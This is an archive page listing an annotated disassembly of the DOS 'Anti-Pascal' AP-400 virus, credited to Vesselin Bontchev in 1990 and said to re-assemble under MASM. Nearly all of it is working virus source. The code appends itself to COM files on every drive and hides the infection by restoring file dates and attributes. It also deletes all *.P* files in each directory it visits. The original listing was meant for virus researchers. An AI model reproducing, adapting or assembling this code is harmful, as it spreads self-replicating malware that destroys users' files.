home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / AP-400.ASM < prev    next >
Assembly Source File  |  1990-07-09  |  6KB  |  270 lines

  1.     page    ,132
  2.     name    AP400
  3.     title    The 'Anti-Pascal' virus, version AP-400
  4.     .radix    16
  5.  
  6. ; ╔══════════════════════════════════════════════════════════════════════════╗
  7. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  8. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  9. ; ║                                         ║
  10. ; ║               The 'Anti-Pascal' Virus, version AP-400               ║
  11. ; ║            Disassembled by Vesselin Bontchev, July 1990         ║
  12. ; ║                                         ║
  13. ; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
  14. ; ║                                         ║
  15. ; ║     This listing is only to be made available to virus researchers      ║
  16. ; ║           or software writers on a need-to-know basis.          ║
  17. ; ╚══════════════════════════════════════════════════════════════════════════╝
  18.  
  19. ; The disassembly has been tested by re-assembly using MASM 5.0.
  20.  
  21. code    segment
  22.     assume    cs:code, ds:code
  23.  
  24.     org    100
  25.  
  26. v_const =    2042d
  27.  
  28. start:
  29.     jmp    v_entry
  30.     db    0CA        ; Virus signature
  31.  
  32.     db    (2048d - 9) dup (90)    ; The original "program"
  33.  
  34.     mov    ax,4C00     ; Just exit
  35.     int    21
  36.  
  37. v_start label    byte
  38. first4    db    0E9, 0F8, 7, 90
  39. allcom    db    '*.COM', 0
  40.  
  41. mydta    label    byte
  42. reserve db    15 dup (?)
  43. attrib    db    ?
  44. time    dw    ?
  45. date    dw    ?
  46. fsize    dd    ?
  47. namez    db    14d dup (?)
  48.  
  49. allp    db    0, '?????????A?'
  50. maxdrv    db    ?
  51. sign    db    'PAD'
  52.  
  53. v_entry:
  54.     push    ax        ; Save AX & DX
  55.     push    dx
  56.  
  57.     mov    ah,19        ; Get the default drive
  58.     int    21
  59.     push    ax        ; Save it on stack
  60.     mov    ah,0E        ; Set it as default (?!)
  61.     mov    dl,al
  62.     int    21        ; Do it
  63.  
  64.     call    self        ; Determine the virus' start address
  65. self:
  66.     pop    si
  67.     sub    si,offset self-v_const
  68.  
  69. ; Save the number of logical drives in the system:
  70.  
  71.     mov    byte ptr [si+offset maxdrv-v_const],al
  72.  
  73. ; Restore the first 4 bytes of the infected program:
  74.  
  75.     mov    ax,[si+offset first4-v_const]
  76.     mov    word ptr ds:[offset start],ax
  77.     mov    ax,[si+offset first4+2-v_const]
  78.     mov    word ptr ds:[offset start+2],ax
  79.  
  80.     mov    ah,1A        ; Set new DTA
  81.     lea    dx,[si+offset mydta-v_const]
  82.     int    21        ; Do it
  83.  
  84.     pop    ax        ; Restore current drive in AL
  85.     push    ax        ; Keep it on stack
  86.  
  87.     call    inf_drive    ; Proceed with the current drive
  88.  
  89.     xor    al,al        ; For all logical drives in the system
  90. drv_lp:
  91.     call    inf_drive    ; Proceed with drive
  92.     jbe    drv_lp        ; Loop until no more drives
  93.  
  94.     pop    ax        ; Restore the saved current drive
  95.     mov    ah,0E        ; Set it as current drive
  96.     mov    dl,al
  97.     int    21        ; Do it
  98.  
  99.     mov    dx,80        ; Restore original DTA
  100.     mov    ah,1A
  101.     int    21        ; Do it
  102.  
  103.     mov    si,offset start
  104.     pop    dx        ; Restore DX & AX
  105.     pop    ax
  106.     jmp    si        ; Run the original program
  107.  
  108. inf_drive:
  109.     push    ax        ; Save the selected drive number on stack
  110.     mov    ah,0E        ; Select that drive
  111.     mov    dl,al
  112.     int    21        ; Do ti
  113.     pop    ax        ; Restore AX
  114.  
  115.     push    ax        ; Save the registers used
  116.     push    bx
  117.     push    cx
  118.     push    si        ; Save SI
  119.  
  120.     mov    cx,1        ; Read sector #50 of the drive specified
  121.     mov    dx,50d
  122.     lea    bx,[si+offset v_end-v_const]
  123.     push    ax        ; Save AX
  124.     push    bx        ; Save BX, CX & DX also
  125.     push    cx
  126.     push    dx
  127.     int    25        ; Do read
  128.     pop    dx        ; Clear the stack
  129.     pop    dx        ; Restore saved DX, CX & BX
  130.     pop    cx
  131.     pop    bx
  132.     jnc    wr_drive    ; Write the information back if no error
  133.  
  134.     pop    ax        ; Restore AX
  135.     pop    si        ; Restore SI
  136.  
  137. drv_xit:
  138.     pop    cx        ; Restore used registers
  139.     pop    bx
  140.     pop    ax
  141.  
  142.     inc    al        ; Go to next drive number
  143.     cmp    al,[si+offset maxdrv-v_const]    ; See if there are more drives
  144. xit:
  145.     ret            ; Exit
  146.  
  147. wr_drive:
  148.     pop    ax        ; Restore drive number in AL
  149.     int    26        ; Do write
  150.     pop    ax        ; Clear the stack
  151.     pop    si        ; Restore Si
  152.     jnc    cont        ; Continue if no error
  153.     clc
  154.     jmp    drv_xit     ; Otherwise exit
  155.  
  156. ; Find first COM file on the current directory of the selected drive:
  157.  
  158. cont:
  159.     mov    ah,4E
  160.     xor    cx,cx        ; Normal files only
  161.     lea    dx,[si+offset allcom-v_const]    ; File mask
  162. next:
  163.     int    21        ; Do find
  164.     jc    no_more     ; Quit search if no more such files
  165.     lea    dx,[si+offset namez-v_const]    ; Get file name found
  166.     call    infect        ; Infect that file
  167.     mov    ah,4F        ; Prepare for FindNext
  168.     jc    next        ; If infection not successful, go to next file
  169.     jmp    drv_xit     ; Otherwise quit
  170.  
  171. no_more:
  172.     mov    ah,13        ; Delete all *.P* files in that dir
  173.     lea    dx,[si+offset allp-v_const]
  174.     int    21        ; Do it
  175.     clc
  176.     jmp    drv_xit     ; Done. Exit
  177.  
  178. namaddr dw    ?        ; Address of the file name buffer
  179.  
  180. infect:
  181.     mov    [si+offset namaddr-v_const],dx    ; Save file name address
  182.  
  183.     mov    ax,4301     ; Reset all file attributes
  184.     xor    cx,cx
  185.     int    21        ; Do it
  186.     jc    xit        ; Exit on error
  187.  
  188.     mov    ax,3D02     ; Open file for both reading and writing
  189.     int    21
  190.     jc    xit        ; Exit on arror
  191.     mov    bx,ax        ; Save file handle in BX
  192.  
  193.     mov    cx,4        ; Read the first 4 bytes of the file
  194.     mov    ah,3F
  195.     lea    di,[si+offset first4-v_const]    ; Save them in first4
  196.     mov    dx,di
  197.     int    21        ; Do it
  198.     jc    quit        ; Exit on error
  199.  
  200.     cmp    byte ptr [di+3],0CA    ; File already infected?
  201.     stc            ; Set CF to indicate it
  202.     jz    quit        ; Don't touch this file if so
  203.  
  204.     mov    cx,[si+offset fsize-v_const]
  205.     cmp    cx,2048d    ; Check if file size >= 2048 bytes
  206.     jb    quit        ; Exit if not
  207.     cmp    cx,64000d    ; Check if file size <= 64000 bytes
  208.     stc            ; Set CF to indicate it
  209.     ja    quit        ; Exit if not
  210.  
  211.     xor    cx,cx        ; Seek to file end
  212.     xor    dx,dx
  213.     mov    ax,4202
  214.     int    21        ; Do it
  215.     push    ax        ; Save file size on stack
  216.     jc    quit        ; Exit on error
  217.  
  218. ; Write the virus body after the end of file:
  219.  
  220.     mov    cx,v_end-v_start
  221.     nop
  222.     lea    dx,[si+offset v_start-v_const]
  223.     mov    ah,40
  224.     int    21        ; Do it
  225.     jc    quit        ; Exit on error
  226.     pop    ax        ; Restore file size in AX
  227.  
  228. ; Form a new address for the first JMP instruction in AX:
  229.  
  230.     add    ax,v_entry-v_start-3
  231.     mov    byte ptr [di],0E9    ; JMP opcode
  232.     mov    [di+1],ax
  233.     mov    byte ptr [di+3],0CA    ; Set the "file infected" sign
  234.  
  235.     xor    cx,cx        ; Seek to file beginning
  236.     xor    dx,dx
  237.     mov    ax,4200
  238.     int    21        ; Do it
  239.     jc    quit        ; Exit on error
  240.  
  241.     mov    cx,4        ; Write the new first 4 bytes of the file
  242.     mov    dx,di
  243.     mov    ah,40
  244.     int    21        ; Do it
  245.  
  246. quit:
  247.     pushf            ; Save flags
  248.  
  249.     mov    ax,5701     ; Set file date & time
  250.     mov    cx,[si+offset time-v_const]    ; Get time from mydta
  251.     mov    dx,[si+offset date-v_const]    ; Get date from mydta
  252.     int    21        ; Do it
  253.  
  254.     mov    ah,3E        ; Close the file
  255.     int    21
  256.  
  257.     mov    ax,4301     ; Set file attributes
  258.     mov    cl,[si+offset attrib-v_const]    ; Get them from mydta
  259.     xor    ch,ch
  260.     mov    dx,[si+offset namaddr-v_const]    ; Point to file name
  261.     int    21        ; Do it
  262.  
  263.     popf            ; Restore flags
  264.     ret
  265.  
  266. v_end    equ    $
  267.  
  268. code    ends
  269.     end    start
  270.